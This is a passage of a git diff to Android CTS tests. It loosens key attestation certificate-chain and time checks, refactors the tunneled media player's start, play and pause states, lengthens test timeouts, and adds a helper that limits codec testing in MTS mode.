unfixed bug. + boolean doTimeChecks = false; + + if (doTimeChecks && (requireCreationDateTime || creationDateTime != null)) { assertNotNull(creationDateTime); assertTrue("Test start time (" + startTime.getTime() + ") and key creation time (" + @@ -1489,6 +1492,7 @@ public class KeyAttestationTest { public static void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox) throws GeneralSecurityException { assertNotNull(certChain); + boolean strongBoxSubjectFound = false; for (int i = 1; i < certChain.length; ++i) { try { PublicKey pubKey = certChain[i].getPublicKey(); @@ -1515,19 +1519,19 @@ public class KeyAttestationTest { if (i == 1) { // First cert should have subject "CN=Android Keystore Key". assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key")); - } else { - // Only strongbox implementations should have strongbox in the subject line - assertEquals(expectStrongBox, signedCertSubject.toString() - .toLowerCase() - .contains("strongbox")); + } else if (signedCertSubject.toString().toLowerCase().contains("strongbox")) { + strongBoxSubjectFound = true; } } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException | NoSuchProviderException | SignatureException e) { throw new GeneralSecurityException("Using StrongBox: " + expectStrongBox + "\n" - + "Failed to verify certificate " - + certChain[i - 1] + " with public key " + certChain[i].getPublicKey(), e); + + "Failed to verify certificate " + certChain[i - 1] + + " with public key " + certChain[i].getPublicKey(), + e); } } + // At least one intermediate in a StrongBox chain must have "strongbox" in the subject. + assertEquals(expectStrongBox, strongBoxSubjectFound); } private void testDeviceIdAttestationFailure(int idType, diff --git a/tests/tests/media/audio/AndroidTest.xml b/tests/tests/media/audio/AndroidTest.xml index 53265befc6a..26210bd4dd2 100644 --- a/tests/tests/media/audio/AndroidTest.xml +++ b/tests/tests/media/audio/AndroidTest.xml @@ -35,8 +35,8 @@ <option name="package" value="android.media.audio.cts" /> <!-- setup can be expensive so limit the number of shards --> <option name="ajur-max-shard" value="5" /> - <!-- test-timeout unit is ms, value = 25 min --> - <option name="test-timeout" value="1500000" /> + <!-- test-timeout unit is ms, value = 240 min --> + <option name="test-timeout" value="14400000" /> <option name="runtime-hint" value="1h" /> <option name="exclude-annotation" value="org.junit.Ignore" /> <option name="hidden-api-checks" value="false" /> diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt index 04cbf70846f..f6548a253ac 100644 --- a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt +++ b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt @@ -57,11 +57,7 @@ class DirectAudioProfilesForAttributesTest { val audioAttributes = AudioAttributes.Builder() .setUsage(usage) .build() - val allProfilesForAttributes = - audioManager.getAudioDevicesForAttributes(audioAttributes).map { it.audioProfiles } - .flatten() val directProfiles = audioManager.getDirectProfilesForAttributes(audioAttributes) - val nonDirectProfiles = allProfilesForAttributes.subtractAll(directProfiles) // All compressed format (non pcm) profiles can create direct AudioTracks. // getDirectProfilesForAttributes does not include profiles supporting @@ -71,13 +67,6 @@ class DirectAudioProfilesForAttributesTest { for (directProfile in compressedProfiles) { checkCreateAudioTracks(audioAttributes, directProfile, true) } - - // Any other available but not returned compressed format profile - // can't create any direct AudioTrack - val otherCompressedProfiles = nonDirectProfiles.filterOutPcmFormats() - for (nonDirectProfile in otherCompressedProfiles) { - checkCreateAudioTracks(audioAttributes, nonDirectProfile, false) - } } } @@ -101,7 +90,7 @@ class DirectAudioProfilesForAttributesTest { .build() .release() // allow a short time to free the AudioTrack resources - Thread.sleep(150) + Thread.sleep(100) if (!expectedCreationSuccess) { fail( "Created AudioTrack for attributes ($audioAttributes) and " + @@ -120,13 +109,6 @@ class DirectAudioProfilesForAttributesTest { } // Utils - private fun AudioProfile.isSame(profile: AudioProfile) = - format == profile.format && - encapsulationType == profile.encapsulationType && - sampleRates.contentEquals(profile.sampleRates) && - channelMasks.contentEquals(profile.channelMasks) && - channelIndexMasks.contentEquals(profile.channelIndexMasks) - private fun AudioProfile.getAllAudioFormats() = sampleRates.map { sampleRate -> channelMasks.map { channelMask -> @@ -146,12 +128,6 @@ class DirectAudioProfilesForAttributesTest { ) }.flatten() - private fun List<AudioProfile>.subtractAll(elements: List<AudioProfile>) = - filter { profile -> elements.none { it.isSame(profile) } } - - private fun List<AudioProfile>.includesAll(elements: List<AudioProfile>) = - elements.all { profile -> this@includesAll.any { it.isSame(profile) } } - private fun List<AudioProfile>.filterOutPcmFormats() = filter { it.format !in pcmFormats } companion object { diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java index 848d74c9abb..c273a18fe51 100644 --- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java +++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java @@ -808,7 +808,7 @@ public class RoutingTest extends AndroidTestCase { } private MediaRecorder allocMediaRecorder() throws Exception { - final String outputPath = new File(Environment.getExternalStorageDirectory(), + final String outputPath = new File(mContext.getExternalFilesDir(null), "record.out").getAbsolutePath(); mOutFile = new File(outputPath); MediaRecorder mediaRecorder = new MediaRecorder(); diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml index ce2b7edbff1..a2f5d2b4ea1 100644 --- a/tests/tests/media/codec/AndroidTest.xml +++ b/tests/tests/media/codec/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaCodecTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaCodecTestCases" /> + <option name="version" value="7.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaCodecTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaCodecTestCases" /> - <option name="version" value="7.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.codec.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java index b2fbc6c625b..8acbbdd8621 100644 --- a/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java +++ b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java @@ -42,6 +42,8 @@ import android.media.MediaCodecInfo; import android.media.MediaCodecInfo.CodecCapabilities; import android.media.MediaCodecInfo.CodecProfileLevel; +import com.android.compatibility.common.util.CddTest; + import java.io.File; import java.io.FileNotFoundException; import java.io.IOException; @@ -130,38 +132,43 @@ public class ExtractDecodeEditEncodeMuxTest super(MediaStubActivity.class); } + @CddTest(requirements = {"5.2", "5.3"}) public void testExtractDecodeEditEncodeMuxQCIF() throws Throwable { if(!setSize(176, 144)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); setCopyVideo(); - setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); + setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); TestWrapper.runTest(this); } + @CddTest(requirements = {"5.2", "5.3"}) public void testExtractDecodeEditEncodeMuxQVGA() throws Throwable { if(!setSize(320, 240)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); setCopyVideo(); - setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); + setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); TestWrapper.runTest(this); } + @CddTest(requirements = {"5.2", "5.3"}) public void testExtractDecodeEditEncodeMux720p() throws Throwable { if(!setSize(1280, 720)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); setCopyVideo(); - setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); + setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); TestWrapper.runTest(this); } + @CddTest(requirements = {"5.2", "5.3"}) public void testExtractDecodeEditEncodeMux2160pHevc() throws Throwable { if(!setSize(3840, 2160)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); setCopyVideo(); - setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC); + setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC); TestWrapper.runTest(this); } + @CddTest(requirements = {"5.1.1", "5.1.2"}) public void testExtractDecodeEditEncodeMuxAudio() throws Throwable { if(!setSize(1280, 720)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); @@ -170,11 +177,13 @@ public class ExtractDecodeEditEncodeMuxTest TestWrapper.runTest(this); } + @CddTest(requirements = {"5.1.1", "5.1.2", "5.2", "5.3"}) public void testExtractDecodeEditEncodeMuxAudioVideo() throws Throwable { if(!setSize(1280, 720)) return; setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4"); setCopyAudio(); setCopyVideo(); + setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC); setVerifyAudioFormat(); TestWrapper.runTest(this); } @@ -289,7 +298,7 @@ public class ExtractDecodeEditEncodeMuxTest mOutputFile = sb.toString(); } - private void setVideoMimeType(String mimeType) { + private void setOutputVideoMimeType(String mimeType) { mOutputVideoMimeType = mimeType; } @@ -305,44 +314,52 @@ public class ExtractDecodeEditEncodeMuxTest MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS); - // We avoid the device-specific limitations on width and height by using values - // that are multiples of 16, which all tested devices seem to be able to handle. - MediaFormat outputVideoFormat = - MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight); - - // Set some properties. Failing to specify some of these can cause the MediaCodec - // configure() call to throw an unhelpful exception. - outputVideoFormat.setInteger( - MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT); - outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE); - outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE); - outputVideoFormat.setInteger( - MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL); - if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat); - - String videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat); - if (videoEncoderName == null) { - // Don't fail CTS if they don't have an AVC codec (not here, anyway). - Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat); - return; + String videoEncoderName = null; + MediaFormat outputVideoFormat = null; + if (mCopyVideo) { + // We avoid the device-specific limitations on width and height by using values + // that are multiples of 16, which all tested devices seem to be able to handle. + outputVideoFormat = + MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight); + + // Set some properties. Failing to specify some of these can cause the MediaCodec + // configure() call to throw an unhelpful exception. + outputVideoFormat.setInteger( + MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT); + outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE); + outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE); + outputVideoFormat.setInteger( + MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL); + if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat); + + videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat); + if (videoEncoderName == null) { + // Don't fail CTS if they don't have an AVC codec (not here, anyway). + Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat); + return; + } + if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName); } - if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName); - - MediaFormat outputAudioFormat = - MediaFormat.createAudioFormat( - OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ, - OUTPUT_AUDIO_CHANNEL_COUNT); - outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE); - // TODO: Bug workaround --- uncomment once fixed. - // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE); - - String audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat); - if (audioEncoderName == null) { - // Don't fail CTS if they don't have an AAC codec (not here, anyway). - Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat); - return; + + String audioEncoderName = null; + MediaFormat outputAudioFormat = null; + if (mCopyAudio) { + outputAudioFormat = + MediaFormat.createAudioFormat( + OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ, + OUTPUT_AUDIO_CHANNEL_COUNT); + outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE); + // TODO: Bug workaround --- uncomment once fixed. + // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE); + + audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat); + if (audioEncoderName == null) { + // Don't fail CTS if they don't have an AAC codec (not here, anyway). + Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat); + return; + } + if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName); } - if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName); MediaExtractor videoExtractor = null; MediaExtractor audioExtractor = null; @@ -863,29 +880,25 @@ public class ExtractDecodeEditEncodeMuxTest ByteBuffer decoderInputBuffer = audioDecoderInputBuffers[decoderInputBufferIndex]; int size = audioExtractor.readSampleData(decoderInputBuffer, 0); long presentationTime = audioExtractor.getSampleTime(); + int flags = audioExtractor.getSampleFlags(); if (VERBOSE) { Log.d(TAG, "audio extractor: returned buffer of size " + size); Log.d(TAG, "audio extractor: returned buffer for time " + presentationTime); } - if (size >= 0) { - audioDecoder.queueInputBuffer( - decoderInputBufferIndex, - 0, - size, - presentationTime, - audioExtractor.getSampleFlags()); - } audioExtractorDone = !audioExtractor.advance(); if (audioExtractorDone) { if (VERBOSE) Log.d(TAG, "audio extractor: EOS"); + flags = flags | MediaCodec.BUFFER_FLAG_END_OF_STREAM; + } + if (size >= 0) { audioDecoder.queueInputBuffer( decoderInputBufferIndex, 0, - 0, - 0, - MediaCodec.BUFFER_FLAG_END_OF_STREAM); + size, + presentationTime, + flags); + audioExtractedFrameCount++; } - audioExtractedFrameCount++; // We extracted a frame, let's try something else next. break; } diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java index 3bd9db68f5a..663ee1a80cd 100644 --- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java +++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java @@ -308,8 +308,8 @@ public class MediaCodecResourceTest { new IntentFilter(ACTION_LOW_PRIORITY_SERVICE_READY)); Intent intent = new Intent(context, MediaCodecResourceTestLowPriorityService.class); context.startForegroundService(intent); - // Starting the service and receiving the broadcast should take less than 1 second - ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000); + // Starting the service and receiving the broadcast should take less than 5 seconds + ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000); context.unregisterReceiver(processInfoBroadcastReceiver); return processInfo; } @@ -323,8 +323,8 @@ public class MediaCodecResourceTest { Intent intent = new Intent(context, MediaCodecResourceTestHighPriorityActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); context.startActivity(intent); - // Starting the activity and receiving the broadcast should take less than 1 second - ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000); + // Starting the activity and receiving the broadcast should take less than 5 seconds + ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000); context.unregisterReceiver(processInfoBroadcastReceiver); return processInfo; } diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java index a7bb37fe152..4294059d0cd 100644 --- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java +++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java @@ -35,14 +35,13 @@ import android.media.MediaCodecInfo.CodecProfileLevel; import android.media.MediaCodecInfo.EncoderCapabilities; import android.media.MediaCodecInfo.VideoCapabilities; import android.media.MediaCodecList; -import android.media.MediaCrypto; import android.media.MediaExtractor; import android.media.MediaFormat; -import android.media.cts.AudioHelper; import android.media.cts.InputSurface; import android.media.cts.OutputSurface; import android.media.cts.Preconditions; import android.media.cts.StreamUtils; +import android.media.cts.TestUtils; import android.opengl.GLES20; import android.os.Build; import android.os.ConditionVariable; @@ -64,13 +63,9 @@ import androidx.test.filters.SmallTest; import com.android.compatibility.common.util.ApiLevelUtil; import com.android.compatibility.common.util.MediaUtils; -import java.io.BufferedInputStream; import java.io.File; import java.io.IOException; -import java.io.InputStream; import java.nio.ByteBuffer; -import java.nio.FloatBuffer; -import java.nio.ShortBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.List; @@ -2429,6 +2424,11 @@ public class MediaCodecTest extends AndroidTestCase { continue; } MediaCodec codec = null; + if (!TestUtils.isTestableCodecInCurrentMode(info.getName())) { + Log.d(TAG, "skip testing codec " + info.getName() + " in current mode:" + + (TestUtils.isMtsMode() ? " MTS" : " CTS")); + continue; + } try { codec = MediaCodec.createByCodecName(info.getName()); List<String> vendorParams = codec.getSupportedVendorParameters(); diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java index 13e56f85b59..4aa9db47312 100644 --- a/tests/tests/media/common/src/android/media/cts/CodecState.java +++ b/tests/tests/media/common/src/android/media/cts/CodecState.java @@ -169,13 +169,15 @@ public class CodecState { } } - public void start() { + public void startCodec() { mCodec.start(); mCodecInputBuffers = mCodec.getInputBuffers(); if (!mIsTunneled || mIsAudio) { mCodecOutputBuffers = mCodec.getOutputBuffers(); } + } + public void play() { if (mAudioTrack != null) { mAudioTrack.play(); } @@ -358,7 +360,7 @@ public class CodecState { return null; } - if (mIsTunneled && !mIsAudio) { + if (mIsTunneled) { if (mFirstSampleTimeUs == -1) { mFirstSampleTimeUs = sampleTime; } diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java index 5e4df7f6c08..888cf235560 100644 --- a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java +++ b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java @@ -487,11 +487,13 @@ public class MediaCodecClearKeyPlayer implements MediaTimeProvider { } for (CodecState state : mVideoCodecStates.values()) { - state.start(); + state.startCodec(); + state.play(); } for (CodecState state : mAudioCodecStates.values()) { - state.start(); + state.startCodec(); + state.play(); } mDeltaTimeUs = -1; diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java index 0b495dd8fd9..879f561af6e 100644 --- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java +++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java @@ -44,11 +44,13 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { /** State the player starts in, before configuration. */ private static final int STATE_IDLE = 1; /** State of the player during initial configuration. */ - private static final int STATE_PREPARING = 2; + private static final int STATE_PREPARED = 2; + /** State of the player after starting the codecs */ + private static final int STATE_STARTED = 3; /** State of the player during playback. */ - private static final int STATE_PLAYING = 3; - /** State of the player when configured but not playing. */ - private static final int STATE_PAUSED = 4; + private static final int STATE_PLAYING = 4; + /** State of the player when playback is paused. */ + private static final int STATE_PAUSED = 5; private Boolean mThreadStarted = false; private byte[] mSessionId; @@ -194,7 +196,12 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { return true; } + // Creates the extractors, identifies tracks and formats, and then calls MediaCodec.configure public boolean prepare() throws IOException { + if (mState != STATE_IDLE) { + throw new IllegalStateException("Expected STATE_IDLE, got " + mState); + } + if (null == mAudioExtractor) { mAudioExtractor = new MediaExtractor(); if (null == mAudioExtractor) { @@ -237,9 +244,7 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { return false; } - synchronized (mState) { - mState = STATE_PAUSED; - } + mState = STATE_PREPARED; return true; } @@ -306,70 +311,56 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { return format.containsKey(key) ? format.getInteger(key) : 0; } - public boolean start() { + // Calls MediaCodec.start + public void startCodec() { Log.d(TAG, "start"); - synchronized (mState) { - if (mState == STATE_PLAYING || mState == STATE_PREPARING) { - return true; - } else if (mState == STATE_IDLE) { - mState = STATE_PREPARING; - return true; - } else if (mState != STATE_PAUSED) { - throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); - } - - for (CodecState state : mVideoCodecStates.values()) { - state.start(); - } + if (mState != STATE_PREPARED) { + throw new IllegalStateException("Expected STATE_PREAPRED, got " + mState); + } - for (CodecState state : mAudioCodecStates.values()) { - state.start(); - } + for (CodecState state : mVideoCodecStates.values()) { + state.startCodec(); + } - mDeltaTimeUs = -1; - mState = STATE_PLAYING; + for (CodecState state : mAudioCodecStates.values()) { + state.startCodec(); } - return false; + + mDeltaTimeUs = -1; + mState = STATE_STARTED; } - public void startWork() throws IOException, Exception { - try { - // Just change state from STATE_IDLE to STATE_PREPARING. - start(); - // Extract media information from uri asset, and change state to STATE_PAUSED. - prepare(); - // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING. - start(); - } catch (IOException e) { - throw e; + // Starts the decoding threads and then starts AudioTrack playback + public void play() { + if (mState != STATE_STARTED) { + throw new IllegalStateException("Expected STATE_STARTED, got " + mState); } + mState = STATE_PLAYING; synchronized (mThreadStarted) { mThreadStarted = true; mThread.start(); } - } - public void startThread() { - start(); - synchronized (mThreadStarted) { - mThreadStarted = true; - mThread.start(); + for (CodecState state : mVideoCodecStates.values()) { + state.play(); + } + + for (CodecState state : mAudioCodecStates.values()) { + state.play(); } } - // Pauses the audio track + // Pauses playback by pausing the AudioTrack public void pause() { Log.d(TAG, "pause"); - synchronized (mState) { - if (mState == STATE_PAUSED) { - return; - } else if (mState != STATE_PLAYING) { - throw new IllegalStateException(); - } + if (mState != STATE_PLAYING) { + throw new IllegalStateException("Expected STATE_PLAYING, got " + mState); + } + synchronized (mState) { for (CodecState state : mVideoCodecStates.values()) { state.pause(); } @@ -382,43 +373,60 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { } } - public void flush() { - Log.d(TAG, "flush"); + // Resume playback when paused + public void resume() { + Log.d(TAG, "resume"); + + if (mState != STATE_PAUSED) { + throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); + } synchronized (mState) { - if (mState == STATE_PLAYING || mState == STATE_PREPARING) { - return; + for (CodecState state : mVideoCodecStates.values()) { + state.play(); } for (CodecState state : mAudioCodecStates.values()) { - state.flush(); + state.play(); } - for (CodecState state : mVideoCodecStates.values()) { - state.flush(); - } + mState = STATE_PLAYING; } } - /** Seek all tracks to their very beginning. + public void flush() { + Log.d(TAG, "flush"); + + if (mState != STATE_PAUSED) { + throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); + } + + for (CodecState state : mAudioCodecStates.values()) { + state.flush(); + } + + for (CodecState state : mVideoCodecStates.values()) { + state.flush(); + } + } + + /** Seek all tracks to the first sample time. * * @param presentationTimeOffsetUs The offset for the presentation time to start at. * @throws IllegalStateException if the player is not paused */ public void seekToBeginning(long presentationTimeOffsetUs) { Log.d(TAG, "seekToBeginning"); - synchronized (mState) { - if (mState != STATE_PAUSED) { - throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); - } + if (mState != STATE_PAUSED) { + throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); + } - for (CodecState state : mVideoCodecStates.values()) { - state.seekToBeginning(presentationTimeOffsetUs); - } + for (CodecState state : mVideoCodecStates.values()) { + state.seekToBeginning(presentationTimeOffsetUs); + } - for (CodecState state : mAudioCodecStates.values()) { - state.seekToBeginning(presentationTimeOffsetUs); - } + for (CodecState state : mAudioCodecStates.values()) { + state.seekToBeginning(presentationTimeOffsetUs); } } @@ -426,53 +434,50 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { * Enables or disables looping. Should be called after {@link #prepare()}. */ public void setLoopEnabled(boolean enabled) { - synchronized (mState) { - if (mVideoCodecStates != null) { - for (CodecState state : mVideoCodecStates.values()) { - state.setLoopEnabled(enabled); - } - } + if (mState != STATE_PREPARED) { + throw new IllegalStateException("Expected STATE_PREPARED, got " + mState); + } - if (mAudioCodecStates != null) { - for (CodecState state : mAudioCodecStates.values()) { - state.setLoopEnabled(enabled); - } - } + for (CodecState state : mVideoCodecStates.values()) { + state.setLoopEnabled(enabled); + } + + for (CodecState state : mAudioCodecStates.values()) { + state.setLoopEnabled(enabled); } } public void reset() { - synchronized (mState) { - if (mState == STATE_PLAYING) { - pause(); - } - if (mVideoCodecStates != null) { - for (CodecState state : mVideoCodecStates.values()) { - state.release(); - } - mVideoCodecStates = null; - } - - if (mAudioCodecStates != null) { - for (CodecState state : mAudioCodecStates.values()) { - state.release(); - } - mAudioCodecStates = null; + if (mState == STATE_PLAYING) { + pause(); + } + if (mVideoCodecStates != null) { + for (CodecState state : mVideoCodecStates.values()) { + state.release(); } + mVideoCodecStates = null; + } - if (mAudioExtractor != null) { - mAudioExtractor.release(); - mAudioExtractor = null; + if (mAudioCodecStates != null) { + for (CodecState state : mAudioCodecStates.values()) { + state.release(); } + mAudioCodecStates = null; + } - if (mVideoExtractor != null) { - mVideoExtractor.release(); - mVideoExtractor = null; - } + if (mAudioExtractor != null) { + mAudioExtractor.release(); + mAudioExtractor = null; + } - mDurationUs = -1; - mState = STATE_IDLE; + if (mVideoExtractor != null) { + mVideoExtractor.release(); + mVideoExtractor = null; } + + mDurationUs = -1; + mState = STATE_IDLE; + synchronized (mThreadStarted) { mThreadStarted = false; } @@ -607,6 +612,14 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { return mVideoCodecStates.get(0).getVideoTimeUs(); } + public long getVideoSystemTimeNs() { + if (mVideoCodecStates == null || mVideoCodecStates.get(0) == null) { + return -1; + } + return mVideoCodecStates.get(0).getVideoTimeUs(); + + } + /** * Returns the ordered list of video frame timestamps rendered in tunnel mode. * @@ -643,39 +656,23 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider { public Long queueOneVideoFrame() { Log.d(TAG, "queueOneVideoFrame"); - if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) { - return null; + if (mState != STATE_STARTED && mState != STATE_PAUSED) { + throw new IllegalStateException("Expected STARTED or PAUSED, got " + mState); } Long result = null; - for (CodecState state : mVideoCodecStates.values()) { - Long timestamp = state.doSomeWork(true /* mustWait */); - if (timestamp != null) { - result = timestamp; + if (mVideoCodecStates != null) { + for (CodecState state : mVideoCodecStates.values()) { + Long timestamp = state.doSomeWork(true /* mustWait */); + if (timestamp != null) { + result = timestamp; + } } } return result; } /** - * Resume playback when paused. - * - * @throws IllegalStateException if playback is not paused or if there is no configured audio - * track. - */ - public void resume() { - Log.d(TAG, "resume"); - if (mAudioTrackState == null) { - throw new IllegalStateException("Resuming playback with no audio track"); - } - if (mState != STATE_PAUSED) { - throw new IllegalStateException("Expected STATE_PAUSED, got " + mState); - } - mAudioTrackState.playAudioTrack(); - mState = STATE_PLAYING; - } - - /** * Configure video peek for the video codecs attached to the player. */ public void setVideoPeek(boolean enable) { diff --git a/tests/tests/media/common/src/android/media/cts/TestUtils.java b/tests/tests/media/common/src/android/media/cts/TestUtils.java index b09d333d958..20bf143ca96 100644 --- a/tests/tests/media/common/src/android/media/cts/TestUtils.java +++ b/tests/tests/media/common/src/android/media/cts/TestUtils.java @@ -25,8 +25,10 @@ import android.content.pm.ApplicationInfo; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Bundle; +import android.text.TextUtils; import android.util.Log; +import androidx.test.InstrumentationRegistry; import androidx.test.core.app.ApplicationProvider; import org.junit.Assert; @@ -151,6 +153,47 @@ public final class TestUtils { return true; } + /* + * Report whether we are in MTS mode (vs in CTS) mode. + * Some tests (or parts of tests) are restricted to a particular mode. + */ + public static boolean isMtsMode() { + Bundle bundle = InstrumentationRegistry.getArguments(); + // null if not set + boolean isMTS = TextUtils.equals("true", bundle.getString("mts-media")); + + return isMTS; + } + + /* + * Report whether we want to test a particular code in the current test mode. + * CTS is pretty much "test them all". + * MTS should only be testing codecs that are part of the swcodec module; all of these + * begin with "c2.android." + * + * Used in spots throughout the test suite where we want to limit our testing to relevant + * codecs. This avoids false alarms that are sometimes triggered by non-compliant, + * non-mainline codecs. + * + * @param name the name of a codec + * @return {@code} true is the codec should be tested in the current 